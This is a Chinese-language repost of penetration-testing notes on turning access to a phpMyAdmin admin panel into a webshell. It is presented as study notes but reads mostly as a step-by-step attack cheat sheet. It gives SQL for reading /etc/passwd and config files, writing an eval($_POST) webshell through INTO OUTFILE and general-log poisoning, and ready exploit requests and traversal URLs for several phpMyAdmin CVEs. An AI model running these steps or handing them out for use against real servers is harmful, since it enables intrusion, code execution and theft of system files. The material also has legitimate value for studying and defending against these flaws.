phpMyAdmin getshell 學習


參考文章

phpmyadmin4.8.1后台getshell
phpMyAdmin 滲透利用總結
CVE-2018-19968 phpmyadmin文件包含getshell連載

前言

拿到一個 phpMyAdmin 管理頁面后怎么 GetShell ?

信息搜集

版本

注:phpMyAdmin 版本還可以在這里查看
自帶文件/phpMyAdmin/README

獲取網站真實路徑

  • phpinfo
    phpinfo 頁面泄露,具體在 _SERVER["SCRIPT_FILENAME"]_SERVER["CONTEXT_DOCUMENT_ROOT"]_SERVER["DOCUMENT_ROOT"]Server Root 等處
    如:

  • 讀取配置文件
    MySQL load_file 函數讀取配置文件
    條件: 執行select @@secure_file_priv得到空的返回值,而不是 NULL;文件大小不能大於PHP限制的max_allowed_packet,同時magic_quotes_gpc=off

    其中:
    當 secure_file_priv 的值為 NULL ,表示限制 mysql 不允許導入/導出
    值為 /tmp/ ,表示限制 mysql 的導入|導出只能發生在 /tmp/ 目錄下
    值為空,表示不對 mysql 的導入/導出做限制

默認配置文件有:

Windows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虛擬主機配置文件

Linux:
/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虛擬目錄配置文件

具體命令:select load_file("/etc/passwd")

  • @@datadir參數看 mysql 路徑 反猜絕對路徑
    select @@datadir

  • 構造報錯頁面
    輸入一些錯誤的路徑,導致網頁報錯(頁面訪問報錯,sql 注入報錯、文件包含報錯)

  • 特定 CMS 默認路徑

dedecms:
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP:
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

其他可在網上搜索

  • google hack
    利用 百度 谷歌 fofa zoomeye 等搜索引擎
    搜索關鍵字 error 等等

一般版本 GetShell

前提條件

查看讀寫文件路徑:show variables like "%secure_file_priv%"select @@secure_file_priv 結果為空

常規寫 shell

需要知道絕對路徑、數據庫root權限、數據庫有寫權限
具體語句:SELECT "<?php phpinfo();?>" INTO OUTFILE "D:\\software\\phpstudy_pro\\WWW\\shell.php"
注意點:windows下,須要雙反斜線,否則會轉義
然后使用菜刀/蟻劍等鏈接即可

日志寫 shell

MySQL 5.0+ 的版本會自動創建日志文件,且在服務運行的情況下修改全局變量也是可以變動文件位置的,但須要對生成日志的目錄有可讀可寫的權限

general log 指的是日志保存狀態

show variables like "general_log%";  // 查詢日志保存狀態,ON代表開啟 OFF代表關閉。
set global  general_log='on';   // 設置為 on

general log file 指的是日志的保存路徑

set global  general_log_file ="D:\\software\\phpstudy_pro\\WWW\\shell.php"

由於執行的語句都會寫入到日志文件中,所以我們查詢語句select "<?php eval($_POST[R0oKi3]);?>"便會將其記錄到指定的日志文件中
然后使用菜刀/蟻劍等鏈接即可

特殊版本

phpMyAdmin 2.x版本 反序列化漏洞任意文件讀取

POST /scripts/setup.php HTTP/1.1
Host: www.test.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

phpmyadmin 4.0.x/4.4.x RCE(CVE-2016-5734)

POC
條件:
phpMyAdmin版本:4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本;能登陸后台;PHP版本: 4.3.0-5.4.6
用法:python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://test.com,注意: -c 指要執行的 php 代碼

phpMyAdmin 4.8.1 文件包含漏洞(CVE-2018-12613)

文章:phpmyadmin4.8.1遠程文件包含漏洞

  • 利用方式一

前提:能進管理頁面

  1. 訪問 http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 頁面
  2. 執行如下 sql 語句 SELECT '';
  3. 查看自己的 seesionid
  4. http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_ 4u1jrl5dd5eshq332kto80bpp0qnmn0e 即包含你的session文件,即可 getshell
  • 利用方式二

前提:能進管理頁面,查詢數據庫絕對路徑

  1. select @@datadir; 查看數據庫絕對路徑
  2. 創建數據庫,並插入 php 一句話
CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");
  1. 包含該數據庫文件
http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../../software/phpstudy_pro/Extensions/MySQL5.7.26/data/test/test.MYD

phpMyAdmin 4.0.1--4.2.12 任意文件包含(CVE-2014-8959)

前提:能進管理頁面;PHP版本 < 5.3.4(00截斷);已知網站絕對路徑
http://test.com/gis_data_editor.php?token=你的token值&gis_data[gis_type]=/../../../../phpinfo.txt%00
可找上傳點上傳圖片馬等文件 getshell

phpMyAdmin 4.8.0--4.8.3 任意文件包含/RCE(CVE-2018-19968)

  1. 登陸后台,創建數據庫
CREATE DATABASE test;
CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';

  1. 訪問 http://test.com/chk_rel.php?fixall_pmadb=1&db=test 頁面

  2. 查看 COOKIE 中 phpMyAdmin 的值

  3. 將表 pma__columninfo 中將 sess_*** 中的 *** 替換成你剛剛查找的 phpMyAdmin 值
    執行下列語句:

INSERT INTO pma__column_info SELECT '1', 'test', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_5459575785b3388d23cce3644f2c482f','plop';
# 注意,這里的 sess_5459575785b3388d23cce3644f2c482f 文件需要改成自己對應的文件

  1. 訪問 http://test.com/tbl_replace.php?db=test&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
    即可看到惡意代碼已被包含


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM